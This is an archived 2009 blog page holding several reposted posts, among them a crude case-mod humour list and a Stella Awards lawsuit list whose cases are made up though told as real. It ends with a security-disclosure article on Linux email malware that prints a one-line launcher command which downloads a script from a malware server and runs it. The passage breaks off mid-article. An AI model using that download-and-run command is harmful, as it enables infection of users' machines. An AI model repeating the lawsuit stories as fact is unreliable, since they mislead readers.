Archive for February, 2009


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Torrent downloads can be kind of a crap shoot. If you’d like a little reassurance about what you’re about to download, take a look at Vertor.

The service launched recently and provides automated checking of torrents from a number of trackers, like Pirate Bay, Demonoid, and several others. To date, the service has verified more than 140,000 torrents.

20 second MP3 clips are provided to let you preview album downloads. Movies and TV shows display screencaps taken at regular intervals (usually every 10 or 15 minutes) during playback. The contents of text files (like NFOs) packed with applications and games are also posted.

All downloads are also scanned with antivirus software, though they’re currently dissatisfied with its performance. It’s slated for replacement with a more reliable engine on December 30, 2008. Even in its present state, it’s still more of a reassurance than most other torrent sites provide.

Already downloaded something from another tracker? Using Vertor’s advanced options menu you can enter the hash code and see the results of their checks, provided Vertor has grabbed the torrent

The 10 Stupidest PC Case Mods Ever Created


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Nerds, it seems, are beset by an overwhelming compulsion to geek-brand the surface of everything they own, from their Princess Leia poster covered walls, to the Geordi La Forge visor they wear all day for no particular reason. It’s this compulsion that has given rise to case modding, aka “putting computers inside stuff that usually wouldn’t have a computer in them”. To the modding community’s credit, there have been some truly amazing case mods created over the years, but, as anyone who’s ever watched the Oscars knows, celebrating excellence and genuine achievement tends to be very goddamn boring, so here’s a bunch of really retarded cases we found instead…

10) The Skull-Covered Masses

Before we hit on the more high-concept examples, we thought it important to acknowledge the many, many, many case mods out there that aren’t terrible in any particularly special or unique way, but are nonetheless as appealing to look at as a video of your mom shaving her armpits. These mods are what happen when dudes who’ve never been within 10-feet of a female try to do something creative. Everything’s covered in mucus-like blobs, bad airbrushing and the skulls…there are so many skulls.

Oh my god!  Where did they get Satan’s PC?!

9) The Shitty PC

Who knew an 8-year-old could handle a PC mod?

It’s a rare breed that’s willing to put dozens of hours into a project that wouldn’t elicit a laugh from anyone over the age or IQ of 10. Apparently whoever made this was under the false impression that if he just kept painting fake poop the case would eventually become awesome. We’re actually surprised he found the restraint to stop before the entire thing was brown.

8) The Pumpkin PC

While this is kind of cute, we’re pretty sure most computer experts advise against incasing you computer in something that’ll become a mass of festering mush within a week. But what if you’re looking for the cachet, style and sophistication of a pumpkin-shaped computer without the fuss or muss? Fear not, that’s why the Cyber Pumpkin exists. Yes, it actually exists. Really.

It may look cool, but the pies aren’t great.

7) The Taped to a Fat Guy’s Balls PC

By nerd standards his fashion sense isn’t all that bad.

Science hasn’t yet perfected a force field that prevents human contact, but until then pulling apart your computer and making it into a wearable suit will work in a pinch. The warmth of the motherboard and the gentle vibration of the hard drive is all you need to keep you warm at night.

6) The Hamster Prison PC

You know what most computers don’t have enough of inside them? Rodent droppings. This one is basically a scale model of our inevitable horrifying dystopian future in which we’ll all be confined to plastic tubes and surrounded by giant computers. Looking on the bright side though at least the average American will finally get some exercise once our cyber overlords install the exercise wheels.

5) The Beaver PC

Hairy stuffed beavers, right here at Gameist.com

For those who find it important to know the computer they use to download hentai once had a soul. Up in Canada the Beaverputer outsells Dell 2-to-1.

4) The Naked Keanu PC

We feel dirty just looking at this.

“Come downstairs honey! I have something to show you!”

“Oh…wow! What is it?”

“It’s a PC case mod! What do you think?”

“Oh my! Well…it certainly looks like you put a lot of effort into it. One question though, what’s that thing sticking out of the front?”

“Ah, I thought you’d notice that! It’s a scale model of a naked Keanu Reeves.”

“I’m leaving you Tom.”

3) The Coffin PC

The ancient Egyptians believed the items buried with a person could be taken with them into the afterlife; a theory which will be proven if the guy who built this thing manages to update his Twitter after he’s buried. At the very least being able to play a few rounds of Far Cry 2 on the casket would liven up the usual funeral proceedings.

2) The Ladyparts PC

It’s hard to say which way nerds would find her more arousing.

Sure, all nerds love their computers, but what about those few who are in love with their computers? Of course man-computer love is a taboo that should never be broken, but suppose for a minute your computer looked like a bountiful half-naked woman? Problem solved! Unsurprisingly there are quite a few of these gems out there.

God-dammit Japan.

Fun Fact: In Japan there’s a law stating that every electronic device must either be shaped like, or able to display images of underwear-clad anime girls. It’s true. Look it up.

1) And the Winner is…

Case modding perfected.

It’s not just anyone who gets up in the morning and decides to cut the outline of a distended anus out of the side of their PC. We here at Gameist salute the brave individual that dug down deep and found the childishness and poor taste necessary to make this case a reality. We patiently await your upcoming Tubgirl themed mod sir.

Well that’s that. We’d like to thank the case modding community for inspiring this article, and to all those out there that dream of building a life-sized Seven of Nine case mod made out of Lego or stuffing a computer inside a muskrat, we say good luck and God speed.

Install Software By Clicking a Link in Ubuntu


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Installing a new program in Linux is no piece of cake. Either you have to use Add/Remove Applications or you might have to do it the hard way using the Terminal.

This is where Windows take the precedence as it allows one-click installation of programs and softwares. The good news is that it can also be done in Linux with a program called Apturl which allows you to install a program simply by clicking a link.

Now to make a link recognized as an install command, install Apturl using the command below:

sudo apt-get install apturl

Restart your web browser after the installation is complete. Now to make sure that Apturl is active and working, try clicking the bold link below and it should automatically prompt you to install the Gnome Main Menu (more info on the software can be found here)

Install Gnome Main Menu

As you can see that Apturl has helped your browser recognize commands through a link so this is a very useful tool for Ubuntu users. For those complaining about how insecure it is, they should know that Apturl only works with programs in your repositories (which are 100% safe).

Stumbler’s Day


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

This image pretty much summarizes my typical day since I joined StumbleUpon.

stumblers_day

The ‘Stella’ Awards


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

The Stellas are named after 81 year-old Stella Liebeck who spilled coffee on herself and successfully sued McDonald’s. That case inspired the Stella awards for the most frivolous, ridiculous, successful lawsuits in the United States.

Here are this year’s winners:

5th Place (tie): Kathleen Robertson of Austin, Texas, was awarded $780,000 by a jury of her peers after breaking her ankle tripping over a toddler who was running inside a furniture store. The owners of the store were understandably surprised at the verdict, considering the misbehaving little toddler was Ms. Robertson’s son.

5th Place (tie): 19-year-old Carl Truman of Los Angeles won $74,000 and medical expenses when his neighbour ran over his hand with a Honda Accord. Mr. Truman apparently didn’t notice there was someone at the wheel of the car when he was trying to steal his neighbour’s hubcaps.

5th Place (tie): Terrence Dickson of Bristol, Pennsylvania, was leaving a house he had just finished robbing by way of the garage. He was not able to get the garage door to go up since the automatic door opener was malfunctioning. He couldn’t re-enter the house because the door connecting the house and garage locked when he pulled it shut. The family was on vacation, and Mr. Dickson found himself locked in the garage for eight days. He subsisted on a case of Pepsi he found, and a large bag of dry dog food. He sued the homeowner’s insurance claiming the situation caused him undue mental anguish. The jury agreed to the tune of $500,000.

4th Place: Jerry Williams of Little Rock, Arkansas, was awarded $14,500 and medical expenses after being bitten on the buttocks by his next door neighbour’s beagle. The beagle was on a chain in its owner’s fenced yard. The award was less than sought because the jury felt the dog might have been just a little provoked at the time by Mr. Williams who had climbed over the fence into the yard and was shooting it repeatedly with a pellet gun.

3rd Place: A Philadelphia restaurant was ordered to pay Amber Carson of Lancaster, Pennsylvania, $113,500 after she slipped on a soft drink and broke her coccyx (tailbone). The beverage was on the floor because Ms. Carson had thrown it at her boyfriend 30 seconds earlier during an argument.

2nd Place: Kara Walton of Claymont, Delaware, successfully sued the owner of a night club in a neighbouring city when she fell from the bathroom window to the floor and knocked out her two front teeth. This occurred while Ms.Walton was trying to sneak through the window in the ladies room to avoid paying the $3.50 cover charge. She was awarded $12,000 and dental expenses.

1st Place: This year’s run away winner was Mrs. Merv Grazinski of Oklahoma City, Oklahoma. Mrs Grazinski purchased a brand new 32-foot Winnebago motor home. On her first trip home, (from an OU football game), having driven onto the freeway, she set the cruise control at 70 mph and calmly left the drivers seat to go into the back and make herself a sandwich. Not surprisingly, the RV left the freeway, crashed and overturned. Mrs.Grazinski sued Winnebago for not advising her in the owner’s manual that she couldn’t actually do this. The jury awarded her $1,750,000 plus a new motor home. The company actually changed their manuals on the basis of this suit, just in case there were any other complete morons around.

A Visual Look at the Nokia Damage Test Labs


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

I’ve long suspected that the best job ever would be to work in product stress testing—because you basically get paid to break shit all day. Nokia sent over a bunch of info detailing how their test centres operate, leaving me fully convinced this would indeed be my dream gig. Not only do they run over 200 mechanical tests on these things, but where else could you play with a bunch of machines that bend, bake, humidify, spray, poke and drop phones? (And yeah, that phone in the picture above just got poked a million times…literally.)

Here’s a look at a handful of different tests and what each one tries to accomplish.

Liquids

Nokia places a phone under a bunch of needle-sized water dispensers and then lets it drip all over the phone, which tests for resistance in situations like rain, or splashing from a pool.

The humidity simulation, which tests the durability of phones in up to 95% humidity, is helpful in determining if a phone will hold up in particularly damp areas like South and Central America, where gadgets don’t have the longest lifespan.

Nokia also tests how the phone reacts to various liquids, creams and gels (lotions, hand sanitisers, etc…), since stuff like that tends to accidentally spill while sitting in a purse or backpack with the phone.

Sturdiness

Tests for bending and twisting are pretty straight forward and self explanatory. Still, you can’t help but cringe to see a phone placed in such an unnatural position. Nokia says when you have your phone in your back pocket and you sit on it, it’s susceptible to bending.

One of the cooler stress tests that exists is the Drop test—not only because it uses a giant friggin’ machine, but also because they record the drops using a camera that can record 100,000 frames per second, which is 3,000 times faster than the normal video camera. The videos are then analysed frame by frame, determining the degree to which a device becomes distorted upon impact.

When Nokia drops a phone, they drop it from about the height of a shirt pocket onto concrete, since that’s a likely scenario for dropped phones. They also attatch a phone under a steel device that pushes down 100 newtons of force.

Wear and Tear

Nokia has a series of wear and tear stress tests, when gauge the phone’s ability to take bumps, scratches from daily use. Dust testing involves throwing a handful of phones in a dust filled box and letting everything co-mingle. How much dust gets inside? And do buttons stop working when foreign substances get under the surface? This is where you find out.

They also let phones roll around in a bunch of pieces of hard, pointy plastic to see where it might scratch, scuff or crack under duress. These pieces are like plastic chocolate chips and bite-sized pyramids, and they’re pretty sharp. This phone met an unfortunate demise in the name of quality control.

***

Other weird tests include rubbing a piece of denim up against a phone to test the effect of friction when the phone rubs up against your clothes and subjection the phone to temperatures ranging between -40 and 85 degrees Celcius; this determines whether or not the phone can survive in the most extreme conditions on earth.

When testing is finished, they have a battery of analytic procedures to determine how well or how poorly a phone held up. This includes analysing a phone under electron microscopes, 3D X-rays and X-ray Spectroscopes to check for any related damage; possible micron-sized soldering cracks, component failure or any breakdowns in the materials.

As you can see, these tests aren’t lightweight by any means, and most of my Nokia phones over the years have been pretty durable. What about yours?

How to write a Linux virus in 5 easy steps


Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

I stumbled this article yesterday , and simply had to put it on my blog because of his awersomness. This article is originally written by foobar.

The rumor of the bullet-proof Linux architecture

There is this rumor going around that Linux is virus free. It is said that the old-fashioned multi-user heritage of Linux (and other *nix OSs) prevents malware, since users are not normally running their programs in admin mode (as root user). We are reminded that execute bits are needed to run anything – contrary to Windows – and that execute bits aren’t set on any attachments or files saved from emails or from a web-browser.

Therefore, we are told, the very architecture of Linux is so much more superior to Windows that it’s just not possible to successfully spread malware. Of course – it is acknowledged – a low-level bug, a buffer overflow or other issue is exploitable. But nevertheless, users can’t just catch a virus by email or downloading malware from the Internet, contrary to “those Windows users”. Linux will protect them from their own stupidity.

At least so the story goes. But sadly, that’s not true. I will show how it is possible in a few easy steps to write a perfectly valid email borne virus for modern desktop Linux. I will do so not because I want to put down Linux. Quite the opposite: I like and support Linux, which is all I’m running at home and at work. I’m a big supporter of free and open software as readers of this blog will know. But if there are any security risks, even in my favorite OS or distribution then they will need to be discussed. Even more important: A false sense of security is worse than a lack of security. And unsubstantiated claims of superiority don’t help in a reasonable discussion either.

Some notes before we get started

Update: There has been a lot of feedback about me using the term ‘virus’ not correctly here. That I should talk about a ‘trojan horse’ instead. There is some disagreement on whether a virus requires user interaction or not, and whether we would be talking about a worm if we are talking about malware that can spread without user interaction. There is also some disagreement on whether a malware that spreads itself via email can be considered a virus or not. There are many sources that would call such a thing a virus (an ‘email virus’) and others which would be more exacting in their definition. Let this article not be about that discussion. I’m calling this malware here a ‘virus’, even though it does require user interaction and even though I don’t provide actual code for how to spread itself (that code is only provided as very high-level pseudo-code).

I should point out: The vulnerabilities we will be taking advantage of are ‘features’ of the most popular modern Linux desktop environments, Gnome and KDE. The actual core of Linux itself does not have any of these vulnerabilities. A Linux (or any other *nix) system without running Gnome or KDE will not exhibit any of these problems, which is one of the huge advantages of properly separating the core OS from other applications such as the desktop environment.

On the flip side, if you run those desktop environments on other OSs (maybe on FreeBSD, for example) then you possibly have to deal with the same vulnerabilities. A more accurate title for this email therefore might have been: How to write a Gnome/KDE virus in 5 easy steps. But since Gnome and KDE are predominantly used under Linux, I feel that a virus based on those vulnerabilities would impact Linux users the most. Thus, the chosen title remains valid.

The text of this article here will explain to you which steps need to be taken to infect a desktop and how to install your malware and will provide background information on why those steps are necessary and why they actually work. After the longer explanation there is a more compact step-by-step summary towards the end. Even though there are some code snippets, the article will not provide the code for a ready-made piece of malware.

Several days ago I sent a message to the security teams at Ubuntu and Fedora, asking if they would like to take a look at this before I publish. The Ubuntu team hasn’t responded yet, but the Fedora team told me that this is “well-known and expected behavior” and that they have no problem with me publishing this. Well-known and expected? Really? But ok then, here we go.

Getting users to open attachments: Check out these nude shots!

If you are now looking forward to some new, fantangled exploit or some extra clever hackery, I will have to utterly disappoint you. What I’m showing here is merely an example of how the old-school social engineering “viruses” (they hardly deserve that name) which have been bothering the Windows world for such a long time can be made to run on Linux, or any other *nix OS with a modern desktop environment.

The premise of this type of ‘virus’ is simple: Get a user to run an executable attachment you sent them via email. This is completely low-tech. No black magic here. I’m not taking advantage of a new exploit in any way. To make it work in Linux I’m just using the ‘features’ of modern desktop environments in somewhat unintended ways, I guess. After all, it’s all “well-known and expected”.

Doing this under Windows is straight forward. You create your malware as an EXE file, attach it to an email which says something like: “Whoa, check out these nude shots of ….!”. The hapless user double-clicks on the attachment, which Windows – in the absence of some decent anti-virus software – will obediently execute. Before you know it the malware is installed and the system is owned. The execution of .EXE files from within email clients under Windows is of course also “well-known and expected”.

You think this is not possible under Linux? Of course it is. It just requires one or two more steps. However, there is nothing fundamental about the architecture of Linux that prevents user stupidity or ignorance, which is of course the main ingredient in any attack vector like this.

There is just one small stumbling block, which needs to be overcome. Well, two, actually.

Firstly, most email clients for Linux will not execute attachments. They might try to open them if they know the extension as an indication for a document or media type (.pdf or other documents for example). But that’s about it. So, let’s say you have written your malware as a nice Python script. In that case, your script may have the .py ending, but the email client is still unlikely to invoke the Python interpreter for you. You would have to go out of your way to configure your system to do that, and who would do something like this?

No, we need a slightly different approach. Something that always gets executed when clicked on. And here then is one more step that needs to be taken by the user, which might reduce the success rate of this attack vector a little. The user has to first save the attachment and then double click on it. Because while the email client typically cannot run an executable file, the desktop environment very well can as we will see. So, the email will have to read something like:

Whoa, check out these nude shots of…!

(if the attachment doesn’t want to open just save it to your desktop and open it…)

That would sound suspicious to most of us, but ‘most’ is not ‘all’ and user stupidity is everywhere. Besides, many users of web-based email clients are used to the save-first routine anyway.

Do not underestimate user ignorance – even on Linux

You might argue that most Linux users tend to be a bit more aware of what they are doing. They usually had to make a conscious choice about their OS and therefore tend to not be your typical non-technical user. But that is changing! Some netbooks are shipped with Linux as default. In that case users may not have consciously chosen Linux and thus can be just as blissfully ignorant as those Windows users who click on email attachments. Also, some large organizations are thinking about mass Linux desktop roll-outs. Various cities and governments around the world, for example. The users there are not technical either and are just as likely to click on attachments.

Furthermore, the trouble free times of the past have given Linux users another false sense of security. We are so used to the constant mantra of “Linux is so secure, you don’t even need anti-virus software!” that we probably really don’t have any anti-virus software to catch us when we are about to do something dumb.

Ok, back to the technicalities. Most email clients save attachments to the desktop of the user or in the user’s download directory where the user will then go look for it. So, if the user doesn’t endlessly examine the attachment but simply clicks the ’save’ button in the email client then that usually does the trick: The attachment will be right there in the face of the user. In fact, I noticed that for some reason my Evolution email client sometimes has issues opening even normal documents as attachments directly. For example, someone sends me an .odt file but Evolution sometimes doesn’t start OpenOffice for me. So, whenever this doesn’t work, I just save and open it then. I’m already trained to do this kind of stuff! I’m probably not the only one.

Getting attachments to execute

We said earlier that attachments are not normally run when they are stored as files. There is no standard file extension that indicates that a file should be executed when clicked, as there is under Windows. Instead – and this is the second big hurdle we need to overcome – for the file to be executable under Linux (or any other *nix OS), the execute flag would have to be set in the permissions of the file. This is something that Windows doesn’t have, and which is often seen as one of the reasons why infecting a Windows PC can be so easy, and why it should be close to impossible on *nix systems. When you save an email attachment under Linux, the execute flag is normally NOT set and thus, the file can’t be executed just by clicking on it. So, no luck?

Not so fast. Modern desktop environments, such as Gnome and KDE, conveniently offer a nice “workaround” called ‘launchers’. Those are small files that describe how something should be started. Just a few lines that specify the name, the icon that should be displayed and the actual command to execute. Conveniently, the syntax of those launcher files is the same for Gnome and KDE. And those launchers don’t have to have any execute permissions set on them! Desktop environments treat those files as a special case, so when you click on them Gnome or KDE will happily execute the command that was specified within the launcher description and without the need for the execute bit to be set on the launcher itself. Now we are getting somewhere!

A problem we are now facing is that the command that can be executed by a launcher is really just one line and just one command. It’s a bit tough to install malware with just a single command. Or is it? How about this here:

% bash -c “curl http://www.some_malware_server.org/s.py -o /tmp/s.py; python /tmp/s.py”

What does this single command do? It starts bash, a command shell (part of any default install), and passes a string argument with two simple commands to it, which bash will then execute. The first command (curl) downloads a script from some malware server you have to set up and then stores the script in a place where we know that we can write to (the /tmp directory). Note that on some systems (Ubuntu, for example) you don’t have curl, but a similar command called wget. That complicates the actual command line here a little bit, but it’s not an insurmountable problem, as shown in the step-by-step guide further down. The second command (the call to the Python interpreter) then executes that freshly downloaded script (a Python script in this example). Both Python and curl (or wget) are typically part of the default install of most Linux distros.

If we put this into the Exec line of the launcher definition then a simple click on that launcher will lead to the execution of a single command, which in turn executes two commands, which then lead to the download and execution of an arbitrary complex script. All without the execute bit being set anywhere.

You don’t need to be root to 0wn someone

None of that so far required root privileges. And our script now can do whatever it wishes to do within the confines of the user account. Confined it may be, but that doesn’t prevent the possibility of significant damage to be done.

For example, it can start to pilfer through the user’s address book to harvest email addresses, send them off to our malware server, start sending spam email or it can spread itself by email. It can install a Firefox extension that captures passwords as the user types them. It may start to share the user’s desktop via VNC without the user’s knowledge. It can start a background daemon that pops up ads. Linux adware!

All of this is executed as a normal user process. Truly, on a desktop system that is normally just used by a single user owning that user account is pretty much equivalent to owning root, as far as doing damage is concerned: All the action you are interested in takes place in the user account anyway.

But maybe you really want to have root for your malware? Well, there’s a way to do that as well, but this is not guaranteed to work in all cases and is frankly not necessary to successfully infect a machine. So, to not distract from the important points of this article here, I have a discussion of that in an appendix.

Autostart after reboot

